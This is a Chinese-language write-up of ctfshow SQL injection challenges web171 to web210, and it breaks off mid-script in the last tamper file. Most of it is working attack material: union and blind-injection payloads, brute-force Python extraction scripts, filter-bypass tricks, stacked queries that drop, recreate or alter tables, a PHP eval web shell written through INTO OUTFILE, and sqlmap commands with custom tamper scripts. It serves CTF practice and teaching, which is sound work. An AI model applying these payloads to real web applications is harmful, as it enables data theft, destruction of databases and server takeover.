CTFSHOW-sql注入

ctfshow---sql注入(171-213) 这里提一句,为什么不直接替换成acb这种,因为,flag原本就有字母,还原的时候会全部都还原成数字的,数字替换成符号应该也是可以的,这边测试了下除了&#好像别的符号都可以。插入查询后查询语句就会变成这样,由于id=11111这是一个不存在的id,而后面1=1又为真,所以会查询到表内所有的内容,--+是注释后面的字符。因为接受username的时候没有用引号,所以接受单纯的数字,而数字和字符比较会转换类型,字符串会变成数字0进行比较,所以相等。 阅读详情

web171

最简单的sql注入,先演示基本操作

payload:

-1' union select 1,2,database() --+     //得到数据库名为ctfshow_web
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+     //得到数据表名为ctfshow_user
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+      //得到列名为id,username,password
-1' union select 1,2,group_concat(username,':',password) from ctfshow_user --+

或者

-1' or id='26

web172

SELECT模块,无过滤注入2

payload:

-1' union select id,password from ctfshow_user2 where username='flag

web173

无过滤注入3

返回结果中不能有flag关键字

payload:

-1' union select id,id,password from ctfshow_user3 where username='flag

和上一题基本一样,只不过多了一列,补上id即可

web174

返回结果过滤了数字,flag中可以就会有数字

我们需要做的就是使得返回结果里不能有数字

最笨的方法,使用replace函数将0-9进行替换

replace("password","1","!")

这句话的意思就是将password当中的1替换为!

payload:

-1' union select 'A',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj') from ctfshow_user4 where username='flag

得到

ctfshow{anbinbgnbanbdbnbgf-nbanbfnbfa-nbdbenbh-aanbanbi-enbenbfnbjednbenbgeanbee}

替换之后得到

ctfshow{a9714b7f-166a-4be8-aa19-e560ed57ea5e}

web175

如果返回结果中没有ASCII码在 00-7f范围的,才会查询成功。

方法1:

把flag直接写入到网站根目录

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+

方法二:

类似的,写入一句话木马

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php

将其中的<?php eval($_POST[1]);?>进行base64编码,在进行url编码,得到

%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b

-1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php

之后就可以使用蚁剑了

使用蚁剑的"数据操作"功能

得到flag

web176

看不到过滤了什么

payload:

-1' or username='flag

web177

过滤了空格

payload:

-1'%0aor%0ausername='flag

或者

%09
%0a
%0d
%0c
/**/

web178

payload同上

web179

payload:

-1'%0cor%0cusername='flag

web180

同上题

web181

这次显示了过滤的内容

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

payload:

-1'%0cor%0cusername='flag

web182

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

在上面的基础上过滤了flag

模糊匹配,payload:

-1'%0cor%0cusername%0clike'%fla%

web183

 改成了post传参

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

并且只回显有几条查询结果

脚本:

import requests
import time

url = 'http://7f66a4b7-a0c3-450c-9766-cead514a5ba7.challenge.ctf.show/select-waf.php'

flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'

flag = ''

for i in range(0,40):
    for x in flagstr:
        data = {
            "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
        }
        response = requests.post(url,data=data)
        time.sleep(0.3)
        if response.text.find("user_count = 1;")>0:
            print("{} is right".format(x))
            flag+=x
            break
        else:
            print("{} is wrong".format(x))
            continue
    print(flag)

web184

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

过滤了where,反引号,单引号,双引号,上一题的脚本不能用了

但是没有过滤空格

可以用having代替where

可以使用十六进制字符串代替双引号中的内容

脚本:

import requests
import time

url = 'http://3cd237b1-5207-4df4-9bbb-cef2d3b406ed.challenge.ctf.show/select-waf.php'

flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'


def str2hex(str):
        a = ""
        for x in str:
                a += hex(ord(x))
        return a.replace("0x","")
def main():
        flag = ''
        for i in range(0,40):
            for x in flagstr:
                data = {
                    "tableName":"ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag+x))
                }
                response = requests.post(url,data=data)
                time.sleep(0.3)
                if response.text.find("user_count = 1;")>0:
                    print("{} is right".format(x))
                    flag+=x
                    break
                else:
                    print("{} is wrong".format(x))
                    continue
            print(flag)

if __name__ == '__main__':
        main()

跑出来的内容前面加上ctfshow即可

另外

发现这样也能跑出flag,只不过没有前面的ctfshow,需要自己手动加

web185

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

 过滤了数字,上面的payload不能用了

原理:

select true+true;  返回  2

select concat((true+true),(true+true));  返回  22

以此来构造数字

# 每秒发送不超过5个请求
# mysql 官方文档 https://dev.mysql.com/doc/refman/5.7/en/replication.html 5.7版本的

import requests
import time

url = "http://7a83d1b4-2842-4835-aa5e-86dec685ca56.challenge.ctf.show/select-waf.php"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"


# flagstr = "{"

def str2hex(str):
    a = ""
    for x in str:
        a += hex(ord(x))
    return "0x" + a.replace("0x", "")


# 63746673686f777b
def formatString(str):
    temp = "concat("
    for x in str:
        temp += char2boolean(x)
    return temp[:-1] + ")"


def char2boolean(ch):
    num = ord(ch)
    temp = "char("
    for x in range(num):
        temp += "true+"
    return temp[:-1] + "),"


# ctfshow{55eff0b8-fa84-4ee8-9cd2-4e84cdd78b73}

def main():
    flag = "ctfshow"
    for i in range(0, 40):
        for x in flagstr:
            data = {
                "tableName": "ctfshow_user group by pass having pass regexp({})".format(formatString(flag + x))
            }
            response = requests.post(url, data=data)
            time.sleep(0.3)
            if response.text.find("user_count = 1;") > 0:
                print("{} is right".format(x))
                flag += x
                break
            else:
                print("{} is wrong".format(x))
                continue
        print(flag)


if __name__ == '__main__':
    main()

web186

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

上面的脚本还能用

web187

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

这里的md5,有参数true

得到

特殊字符串:ffifdyop

得到:'or'6�]��!r,��b

bp抓包,即可得到flag

web188

  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

 登录成功就会给flag

当我们执行sql语句:select username,password from user where username=0;

这里没有用单引号包裹起来,而且是是弱类型比较

比如:admin == 0

           4abc == 4

所以都输入0即可

web189

本题提示:flag在api/index.php文件中

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

 上一题的方法不行了

脚本:

# 每秒发送不超过5个请求
import requests
import time

url = "http://69fb68f6-c5ce-426d-9f6f-1c95d1909df6.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

#$flag=ctfshow{482606d4-6025-426d-85ca-05613d7a829d};
flag = ""
for i in range(257,257+60):
	for x in flagstr:
		data={
		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
		"password":"0"
		}
		print(data)
		response = requests.post(url,data=data)
		time.sleep(0.3)
		if response.text.find("8d25")>0:
			print("{} is right".format(x))
			flag+=x
			break
		else:
			print("{} is wrong".format(x))
			continue
	print(flag)


web190

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

脚本:

import requests
import sys
import time

url = "http://9a62dd14-5b53-4122-a600-fa9f56a1d827.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

#ctfshow{77de2af3-6f34-4d20-adc7-8aba40a40ffe} 

二分法的盲注

web191

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

过滤了ASCII,使用ord替代

脚本:

import requests
import sys
import time

url = "http://0746ea92-e768-4d5b-94a4-d06e8e6d1126.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web192

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

ord和hex也被过滤了

不在使用ascii码进行判断,直接对字母进行判断

脚本:

import requests
import sys
import time

url = "http://adb090c2-705c-4501-9efc-fd82f651bae7.challenge.ctf.show/api/"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            flag += mid
            print(flag)
            break

web193

//密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

把substr也过滤了

用left替换即可

但是这道题的数据表变了,需要额外跑数据表

脚本:

import requests
import sys
import time

url = "http://fab51b68-1646-473b-b9de-e1925edaa3fc.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print(flag)
            break

web194

//密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

left,right也没了

使用lpad代替

脚本:

import requests
import sys
import time

url = "http://8bf7e90b-c558-4ded-a6c8-f1648a3f79aa.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print(flag)
            break

web195

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

堆叠注入:多条sql语句堆在一起执行

 不能有空格

思路:修改表名

username=1;update`ctfshow_user`set`pass`=1&password=1

然后直接登录

web196

 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

限制了长度

密码正确就可以拿到flag

用户名0

密码使用以前泄露的默认密码登录即可

0
passwordAUTO

web197

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 上题的方法可以继续使用

另一种方法:

用户名输入

0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,2)

 密码随便输

这里的意思就是删除以前的表,再自己新建一个并且插入数据:1,2

然后直接使用1,2登录即可得到flag

web198

 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

把上题的drop过滤了

思路:将username和password互换

username:

0;alter table ctfshow_user change `username` `passw2` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw2` `pass` varchar(100);

password随便输入

然后:用户名0 密码userAUTO 登陆即可

web199

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 过滤了括号,限制了上一题的payload中的varchar(100)

改为text即可

0;alter table ctfshow_user change `username` `passw2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw2` `pass` text;

其他操作同上

web200

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

可以继续使用上一题的payload

或者

用户名:0;show tables;
密码:ctfshow_user

web201

开始练习sqlmap的使用

下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

题目说了要指定两个参数

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show

查询数据库:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show --dbs

查询数据表:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

查询列:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns

 

查询数据

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

得到flag

web202

提示使用--data 调整sqlmap的请求方式

前面查询数据库,数据表,列的步骤基本相同,差别就是在中间加一条:--data="id=1"

直接最后一步:

python sqlmap.py -u "http://b794446b-7f11-4600-beba-3de5961369b7.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web203

使用--method 调整sqlmap的请求方式

--method= 方法   强制使用指定的方式进行连接,例如 PUT
python sqlmap.py -u "http://f3705260-6038-4926-bdbc-010956e9bfe0.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

另外,还需要加一个:--header=Content-Type:text/plain

web204

使用--cookie 提交cookie数据

可以看到页面的cookie

将两个cookie都加上

python sqlmap.py -u "http://623325d8-3c3c-42ff-9423-e185e72a674a.challenge.ctf.show/api/index.php" --data="id=1" --cookie="ctfshow=589d4876207ce99dd659c014bce92754;PHPSESSID=6jto7cppsplvq5345kihs8g5s2" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web205

api调用需要鉴权

抓包先看一下

发现会发送到getToken.php

点击Forward

这个是上面题目类型的正常请求

使用--safe-url=SAFEURL  设置在测试目标地址前访问的安全链接,而且使用这个参数时需要指定--safe-freq

--safe-freq=SAFE.. 设置两次注入测试前访问安全链接的次数

这道题的数据表换了,所以需要我们重新查表

python sqlmap.py -u "http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1v4i4cmrckgenlf1jd9h4f7dd8" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

得到

python sqlmap.py -u "http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1v4i4cmrckgenlf1jd9h4f7dd8" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flax --dump

得到flag

web206

sql需要闭合

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

--prefix=PREFIX 攻击载荷的前缀

--suffix=SUFFIX 攻击载荷的后缀

python sqlmap.py -u "http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e06u7g1sseso5igh8h64c7qgrh" --prefix="')" --suffix="#" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

python sqlmap.py -u "http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e06u7g1sseso5igh8h64c7qgrh" --prefix="')" --suffix="#" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump

web207

--tamper=TAMPER 指定攻击载荷的篡改脚本

 这里的脚本在sqlmap的tamper目录中

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

 过滤了空格

space2comment.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal
python sqlmap.py -u "http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=mqfsia03bp1buuq4vuhbbcjm4d" --prefix="')" --suffix="#" --tamper=space2comment --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

 

python sqlmap.py -u "http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=mqfsia03bp1buuq4vuhbbcjm4d" --prefix="')" --suffix="#" --tamper=space2comment --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flaxca --dump

web208

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

将select替空,可以使用双写绕过,也可以使用大小写绕过

python ./sqlmap.py -u "http://145960cb-5aa4-448f-ab80-b4fa9a5eaece.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://145960cb-5aa4-448f-ab80-b4fa9a5eaece.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6fbif0l74ghbo1shdhvkutu476" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/space2comment.py,tamper/randomcase.py"

web209

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

过滤了 空格 * =

空格和*可以使用%0a代替,=可以使用like代替

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue
            
            elif payload[i] == '*':
                retVal += chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

python ./sqlmap.py -u "http://dd17b7d0-aefd-4915-88e2-298de55d0036.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://dd17b7d0-aefd-4915-88e2-298de55d0036.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6ki566sj2j85e1f3rjri4iai26" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/ctfshowweb209.py"

 

web210

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

对id进行base64解码,然后反转,然后再解码,然后再反转

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from winreg import REG_OPTION_VOLATILE
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def doublebase64encode(payload):
    retVal = payload
    if payload:
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal.encode('utf-8'))
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal).decode('utf-8')
    return retVal


def tamper(payload, **kwargs):
    payload = doublebase64encode(payload)

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue
            
            elif payload[i] == '*':
                retVal += chr(0x31)
